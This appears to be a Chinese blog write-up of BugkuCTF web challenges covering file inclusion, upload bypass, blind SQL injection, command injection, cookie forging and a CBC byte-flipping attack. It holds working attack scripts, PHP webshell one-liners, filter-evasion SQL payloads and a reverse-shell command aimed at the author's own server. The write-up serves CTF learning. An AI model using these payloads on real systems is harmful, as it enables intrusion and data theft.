本文记录一下BugkuCTF上Web部分的第四十一及之后的题目。其他BugkuCTF的题目参见文末的链接。
$[timeformat('2019-01-12T11:55:44+08:00')]
#CTF#Web

文件包含2

http://123.206.31.85:49166/

flag格式:SKCTF{xxxxxxxxxxxxxxxx}

hint:文件包含

打开页面源代码,看到提示

<!-- upload.php -->

打开upload.php页面,是个文件上传。随便上传个文件,用burp改一下。

经测试,文件名须jpg gif png结尾,%00截断不管用,post中的Content-Type须修改为对应图片类型,这样才能上传成功。

1

尝试写入一句话:

<?php @eval($_POST['otuki']);?>

发现被替换成了下划线。

然后查到了另一种一句话:

<script language=php>system('ls')</script>

成功上传,并通过file文件包含访问传入的图片文件:

2

访问其中名字像是flag的文件:

3

flag.php

地址:http://123.206.87.240:8002/flagphp/

点了login咋没反应

提示:hint

打开一看果真输入什么提交都没反应,想到提示hint,于是尝试使用get传参

http://123.206.87.240:8002/flagphp/?hint=1

看到了源码:

<?php 
error_reporting(0); 
include_once("flag.php"); 
$cookie = $_COOKIE['ISecer']; 
if(isset($_GET['hint'])){ 
    show_source(__FILE__); 
} 
elseif (unserialize($cookie) === "$KEY") 
{    
    echo "$flag"; 
} 
else { 
?> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
<title>Login</title> 
<link rel="stylesheet" href="admin.css" type="text/css"> 
</head> 
<body> 
<br> 
<div class="container" align="center"> 
  <form method="POST" action="#"> 
    <p><input name="user" type="text" placeholder="Username"></p> 
    <p><input name="password" type="password" placeholder="Password"></p> 
    <p><input value="Login" type="button"/></p> 
  </form> 
</div> 
</body> 
</html> 

<?php 
} 
$KEY='ISecer:www.isecer.com'; 
?>

首先,使用error_reporting(0)关闭错误回显,然后要传入一个cookie变量“ISecer”,它的反序列化===变量KEY。

写一个php生成KEY的序列化:

<?php
print_r(serialize('ISecer:www.isecer.com'));
?>

4

将其传入cookie发包却不成功,回头再看源码,发现\(KEY='ISecer:www.isecer.com'是在最下面,判断unserialize(\)cookie) === "\(KEY"时,\)KEY还没定义,应该是NULL。于是修改一下php:

<?php
print_r(serialize(''));
?>

5

使用burp添加参数repeater:

6

7

8

sql注入2

http://123.206.87.240:8007/web2/

全都tm过滤了绝望吗?

提示 !,!=,=,+,-,^,%

说实话还是有些绝望的...

post传入uname=admin&passwd=123时,返回password error;post传入uname=admin1&passwd=123时,返回username error。这就说明了可以利用这个返回信息进行bool型注入,通过闭合uname尝试返回password error。

接下来,就测试一下到底过滤了哪些东西。

通过使用burp的intruder进行fuzz测试,包括但不仅限于以下关键字惨遭过滤:

9

原来提示的那些字符是没有被过滤的,也是提醒我们使用的。

但是空格,or,and等都被过滤了,怎么来构造语句呢?

通过看一叶飘零的writeup,学到了...

构造

uname=admin'-0-'
语句拼接后为select 'admin'-0-'',查询返回0

返回password error

uname=admin'-1-'
语句拼接后为select 'admin'-1-'',查询返回-1

返回username error

这是因为将username雨查询结果比较时,将str型的username当做0与int型的查询结果比较,0==0,所以返回用户名正确,也就是password error。

然后就是构造查询语句

通常bool型查询语句类似下面:

ascii(substr((select database()),1,1))>97

如果没有逗号和空格呢?

构造:

mid((passwd)from(-2))

可正序输出passwd的最后两位

使用reverse()将字符串反转:

reverse(mid((passwd)from(-2)))

再取最后一位ascii值进行比较:

ascii(reverse(mid((passwd)from(-2)))from(-1)))=97

当条件成立时,语句变为:

uname=admin'-1-'

返回username error

最终脚本如下:

import requests

url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
    'PHPSESSID':'4ovrcc2tndhr4ut9so488imi85uv1vo8'
}

s = requests.Session()
s.keep_alive = False

password = ""
for i in range(1,33):
    for j in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.':
        payload = "admin'-(ascii(mid(REVERSE(MID((passwd)from(-"+str(i)+")))from(-1)))="+str(ord(j))+")-'"
        data = {
            'uname': payload,
            'passwd': 'otuki.top'
        }
        r = s.post(url=url,cookies=cookie,data=data)
        if "username error!!" in r.content:
            password += j
            print password
            break

10

md5解密为admin123

使用正确的用户名密码登录:

11

之后执行ls即可:

12

孙xx的博客

http://wp.bugku.com/

需要用到渗透测试第一步信息收集

域名貌似有点问题,先占个位儿。

Trim的日记本

http://123.206.87.240:9002/

hints:不要一次就放弃

总是显示mysql connect error !题目应该有点问题,御剑扫一波可以扫出./show.php,可看到flag,据说原题考二次注入,先了解一下吧。

二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

13

login2(SKCTF)

http://123.206.31.85:49165/

SKCTF{xxxxxxxxxxxxxxxxxxxxx}

hint:union,命令执行

随便登录一下抓包看到返回包中有tip,base64解码后:

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

虽然这里需要在有查询结果的同时,还要比对md5值,但根据提示使用联合查询,可以进行绕过:

username=admin' union select 1,md5(1) %23&password=1

虽然不一定能查到admin的结果,但一定会有一条username=1&password=md5(1)的显示结果,md5比对自然也可以通过。

登录成功后,显示命令执行界面:

14

通过学习大佬们的writeup,总结以下两种解法:

使用nc反弹shell

VPS:

nc -lvv 8888

命令执行:

|bash -i >& /dev/tcp/公网IP/8888 0>&1

这样就可以在反弹shell到vps上。

基于时间的命令行盲注

尝试执行命令发现除了进程信息之外,其他都不显示。再执行:

123;sleep 5

发现返回延迟了5秒,证明命令执行了,但没有回显。于是尝试使用命令行注入语句:

c=123;a=`ls`;b='a';if [ ${a:0:1} == $b ];then sleep 2;fi

如果a的执行结果的第一个字母为"a",则sleep 5。从而依次列出目录。

import requests
import time

url = 'http://123.206.31.85:49165/'
s = requests.Session()
ls = ''

data = {
    "username" : "admin' union select 1,md5(1) #",
    "password" : '1',
}
res1 = s.post(url=url+'login.php', data=data)

## for i in range(100):
##     for j in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}[]_-+=!@#$%^&*/\|.':
##         payload = "123;a=`ls`;b='"+ j +"';if [ ${a:"+ str(i) + ":1} == $b ];then sleep 5;fi"
##         data = {
##             "c" : payload,
##         }
##         starttime = time.time()
##         res2 = s.post(url=url+'index.php', data=data)
##         ## print payload
##         endtime = time.time()
##         if (endtime - starttime) > 4:
##             ls += j
##             print ls
##             break

for i in range(100):
    for j in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}[]_-+=!@#$%^&*/\|.':
        payload = "123;a=`cat f*`;b='"+ j +"';if [ ${a:"+ str(i) + ":1} == $b ];then sleep 5;fi"
        data = {
            "c" : payload,
        }
        starttime = time.time()
        res2 = s.post(url=url+'index.php', data=data)
        ## print payload
        endtime = time.time()
        if (endtime - starttime) > 4:
            ls += j
            print ls
            break

15

先列目录,再读文件。

16

login3(SKCTF)

http://123.206.31.85:49167/

flag格式:SKCTF{xxxxxxxxxxxxx}

hint:基于布尔的SQL盲注

先fuzz测试过滤了什么。

17

有三种回显信息:username为admin时,显示password error;检测到特定字符时,显示illegal character;其他时候显示username does not exist。那么现在的思路就是构造payload,避开被检测的字符,通过区分其他两种回显作为bool型盲注。

因为过滤了union,and,逗号,等号,空格等,这里使用异或(xor)注入。

admin'^(表达式)^0#

当表达式结果为false时,返回password error。之所以最后要加上^0,是因为

admin'^0^0#		返回1
admin'^0^1#		返回0
admin'^1^1#		返回1

如果将^0改为^1,回显改变,说明表达式结果的确为false;如果回显不变,说明表达式有语法错误。

因为information也被检测,这里只能尝试通过参数名猜表名和列名。构造payload:

猜表名:admin'^(select(1)from(admin))^1#
猜列名:admin'^(select(count(password))from(admin))^1#
查数据:admin'^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#

上脚本:

import requests
url = 'http://123.206.31.85:49167/index.php'
r = ''
for i in range(50):
    for j in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}[]_-+=!@#$%^&*/\|.':
        payload = "admin'^(ascii(mid((select(password)from(admin))from(" + str(i) + ")))<>" + str(ord(j)) + ")^0#"
        data = {
            "username" : payload,
            "password" : "otuki.top",
        }
        t = requests.post(url=url, data=data).content
        if 'error' in t:
            r += j
            print r
            break

18

md5解密为:skctf123456

登录后可看到flag:

19

文件上传2(湖湘杯)

http://123.206.87.240:9011/

进入上传页面,提示上传png

上传一句话木马后提示Failed to load image。

尝试访问./?op=index,发现有页面,但显示无页面。

20

使用php://filter协议读文件:

21

base64解码后为:

<?php
error_reporting(0);
define('FROM_INDEX', 1);

$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
    die('Try it again and I will kill you! I freaking hate hackers!');
ob_start('ob_gzhandler');
function page_top($op) {
?><!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>
</head>
<body>
	<div id="header">
		<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
	</div>
	<div id="body">
<?php
}
function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}
function page_bottom() {
?>
    </div>
    <center>
	<div id="footer">
		<div>
			<p>
				<span>2017 &copy; </span> All rights reserved.
			</p>
		</div>
	</div>
	</center>
</body>
</html><?php
ob_end_flush();
}
register_shutdown_function('page_bottom');
page_top($op);

if(!(include $op . '.php'))
    fatal('no such page');
?>

根据源码,传入op变量,会拼接上“.php”,并包含该页面,包含失败会返回no such page。使用御剑扫一波后台,发现存在flag.php。于是构造payload:

http://123.206.87.240:9011/?op=php://filter/read=convert.base64-encode/resource=flag

base64解码为:

22

江湖魔头

http://123.206.31.85:1616/

学会如来神掌应该就能打败他了吧

29

这是道新出的题,打开链接,点击确定生成一个角色(cookie)。

30

这个游戏通过赚钱升满所有属性,再来学习如来神掌,就可以讨伐boss,拿到flag。

去掉这个链接的参数得到http://123.206.31.85:1616/wulin.php是另一个页面。

31

既然能检测flag的正确性,一般就是有机可乘。

32

base64.js和md5.js就不用看了,重点看一下script.js。

eval(function (p, a, c, k, e, r) {
    e = function (c) {
        return (c < 62 ? '' : e(parseInt(c / 62))) + ((c = c % 62) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
    };
    if ('0'.replace(0, e) == 0) {
        while (c--)
            r[e(c)] = k[c];
        k = [function (e) {
            return r[e] || e
        }];
        e = function () {
            return '[57-9abd-hj-zAB]'
        };
        c = 1
    };
    while (c--)
        if (k[c])
            p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('7 s(t){5 m=t+"=";5 8=9.cookie.n(\';\');o(5 i=0;i<8.d;i++){5 c=8[i].trim();u(c.v(m)==0)p c.substring(m.d,c.d)}p""}7 w(a){5 x=new Base64();5 q=x.decode(a);5 r="";o(i=0;i<q.d;i++){5 b=q[i].charCodeAt();b=b^i;b=b-((i%10)+2);r+=String.fromCharCode(b)}p r}7 ertqwe(){5 y="user";5 a=s(y);a=decodeURIComponent(a);5 z=w(a);5 8=z.n(\';\');5 e="";o(i=0;i<8.d;i++){u(-1<8[i].v("A")){e=8[i+1].n(":")[2]}}e=e.B(\'"\',"").B(\'"\',"");9.write(\'<img id="f-1" g="h/1-1.k">\');j(7(){9.l("f-1").g="h/1-2.k"},1000);j(7(){9.l("f-1").g="h/1-3.k"},2000);j(7(){9.l("f-1").g="h/1-4.k"},3000);j(7(){9.l("f-1").g="h/6.png"},4000);j(7(){alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!A{"+md5(e)+"}")},5000)}', [], 38, '|||||var||function|ca|document|temp|num||length|key|attack|src|image||setTimeout|jpg|getElementById|name|split|for|return|result|result3|getCookie|cname|if|indexOf|decode_create|base|temp_name|mingwen|flag|replace'.split('|'), 0, {}))

使用了packer混淆,那就找个在线解混淆的网站解一下:

function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
    }
    return ""
}
function decode_create(temp) {
    var base = new Base64();
    var result = base.decode(temp);
    var result3 = "";
    for (i = 0; i < result.length; i++) {
        var num = result[i].charCodeAt();
        num = num ^ i;
        num = num - ((i % 10) + 2);
        result3 += String.fromCharCode(num)
    }
    return result3
}
function ertqwe() {
    var temp_name = "user";
    var temp = getCookie(temp_name);
    temp = decodeURIComponent(temp);
    var mingwen = decode_create(temp);
    // decode_create(decodeURIComponent(getCookie("user")))
    // 
    var ca = mingwen.split(';');
    var key = "";
    for (i = 0; i < ca.length; i++) {
        if (-1 < ca[i].indexOf("flag")) {
            key = ca[i + 1].split(":")[2]
        }
    }
    key = key.replace('"', "").replace('"', "");
    document.write('<img id="attack-1" src="image/1-1.jpg">');
    setTimeout(function () {
        document.getElementById("attack-1").src = "image/1-2.jpg"
    }, 1000);
    setTimeout(function () {
        document.getElementById("attack-1").src = "image/1-3.jpg"
    }, 2000);
    setTimeout(function () {
        document.getElementById("attack-1").src = "image/1-4.jpg"
    }, 3000);
    setTimeout(function () {
        document.getElementById("attack-1").src = "image/6.png"
    }, 4000);
    setTimeout(function () {
        alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")
    }, 5000)
}

其中,decodeURIComponent()是将url编码解码;charCodeAt()方法可返回指定位置的字符的Unicode编码;fromCharCode()将 Unicode编码转为一个字符。

通过代码可知,它是通过将角色的各个属性保存为cookie来识别用户的,这其中就包含角色拥有的金钱。现在的思路就是通过这段解密cookie的代码,写出生成cookie的脚本得到想要的cookie。先通过抓包或者在Chrome控制台里运行"decode_create(decodeURIComponent(getCookie("user")))"得到现在的属性信息:

'O:5:"human":10:{s:8:"xueliang";i:500;s:5:"neili";i:998;s:5:"lidao";i:98;s:6:"dingli";i:57;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:0;s:4:"flag";s:1:"0";}'

生成新cookie的python代码如下:

import base64
from urllib.parse import quote

payload = 'O:5:"human":10:{s:8:"xueliang";i:500;s:5:"neili";i:998;s:5:"lidao";i:98;s:6:"dingli";i:57;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:1000000;s:4:"flag";s:1:"0";}'
b = bytearray()
for i in range(len(payload)):
    a = ord(payload[i]) + ((i % 10) +2)
    a ^= i
    b.append(a)

c = base64.b64encode(b)
c = quote(c)
print(c)

使用burp或者EditThisCookie将cookie修改为生成的,即可尽情买买买啦~

login4

http://123.206.31.85:49168/

flag格式:SKCTF{xxxxxxxxxxxxxxxx}

hint:CBC字节翻转攻击

先学习了一下什么叫CBC字节翻转攻击:

  • Plaintext:待加密的数据。
  • IV:用于随机化加密的比特块,保证即使对相同明文多次加密,也可以得到不同的密文。
  • Ciphertext:加密后的数据。

加密过程:

  1. 将明文分组(常见以16字节为一组),位数不足使用特殊字符填充;
  2. 生成随机初始化向量iv和密钥key;
  3. 将iv和第一组明文异或;
  4. 用密钥对上面的结果加密;
  5. 将上面的结果与第二组明文异或;
  6. 重复4、5,直到产生最后一组密文;
  7. 将iv与加密后的密文拼接得到最终密文。

解密过程:

  1. 从密文中提取iv,并将密文分组;
  2. 用密钥对第一组密文解密,并与iv异或得到第一组明文;
  3. 用密钥对第二组密文解密,并与上面的明文异或得到第二组明文;
  4. 重复3,直到产生最后一组明文。

上图就是进行翻转攻击的示意图。翻转第一组明文中的一个字节,只要改变前一组密文中的对应字节即可,这样就能欺骗服务器或绕过过滤器。

先使用御剑扫出存在./.index.php.swp,下载并在linux下运行:

vim -r .index.php.swp	#恢复
:w /root/index.php	#另存为

打开index.php,css就不粘了:

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}

function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">
                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <input type="submit" name="submit" value="Login" class="button" />
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>

根据源码可知,当用户登录后,服务器将传入的数据进行序列化,然后使用一个未知的key和一个已知的iv来进行CBC加密,再经过base64和url编码后,作为cipher加入cookie中。只有以admin登录时,显示flag,同时当用户名为admin时,又要拒绝登录。

这样的话我们就要以一个不是admin的用户登录,取得这个用户的cookie,再通过字节翻转,得到admin的cookie,从而获取flag。

使用如下信息登录:

username=admio&password=12345&submit=Login

得到iv和cipher:

cipher=E8%2FlLYTCZNJRaDhydQ6wHGVU9IE7A6%2FF%2FzkhA7pPmtIuANUAljbBt7jmNbo%2BchAw4FXcDznh%2FKGICIwzMdOuig%3D%3D
iv=g6fNISh7uYtgH6jJfm4f%2Fw%3D%3D

之后手动在get请求中设置上cookie,返回包显示已成功以admio用户登录:

证明服务器是通过这两个cookie进行身份验证。

然后写一个php脚本生成参数的序列化:

<?php
$username = 'admio';
$password = '12345';
$info = array('username'=>$username,'password'=>$password);
$plain = serialize($info);
echo $plain;
?>

序列化:

a:2:{s:8:"username";s:5:"admio";s:8:"password";s:5:"12345";}

将序列化内容分组:

a:2:{s:8:"userna
me";s:5:"admio";
s:8:"password";s
:5:"12345";}

要修改admio为admin,即第二组明文的第13个字节(从0开始)进行翻转,需要修改第一组密文的第13个字节。

<?php
//生成新的cipher
$plaintext = base64_decode(urldecode("WGojxKCYET4DcKVOHt7T9ePQ21LQYOhVBtK%2FHHeAXVkjp%2BurHGjGk6J%2BLOPe4JtaIhWUh4UVTs14%2FzCE5wc8EA%3D%3D"));
$plaintext[13] = chr(ord($plaintext[13]) ^ ord("o") ^ ord("n"));
echo urlencode(base64_encode($plaintext))
?>

将新的密文和旧的iv提交:

提示的无法序列化的字符串,正是修改后的第一组密文解密之后和旧的iv异或生成的错误的第一组明文,需要再通过这个错误的明文和旧的iv生成新的iv,来对应新的密文。

<?php
//生成新的iv
$plaintext = base64_decode("Q89Yyi8j+DSGXkWOwLnG6W1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9");
$iv = base64_decode(urldecode("8Dos7Qf06O3kCgs126%2B4%2BQ%3D%3D"));
$first_text = 'a:2:{s:8:"userna';
$new_iv = '';
for ($i = 0; $i < 16; $i++){
    $new_iv .= chr(ord($iv[$i]) ^ ord($plaintext[$i]) ^ ord($first_text[$i]));
}

再将新的密文和新的iv提交:

web部分总结:

目前,bugku的web部分只有这些题目,里面有很多自认为比较难的题目,也是参考了多位大神的writeup,对此表示感谢!如果今后有新的web题,我也会尽量及时更新,如果本菜鸡能做出来的话...Orz...

所有BugkuCTF的题目:

BugkuCTF-Misc-1

BugkuCTF-Misc-2

BugkuCTF-Misc-3

BugkuCTF-Web-1

BugkuCTF-Web-2

BugkuCTF-Web-3


评论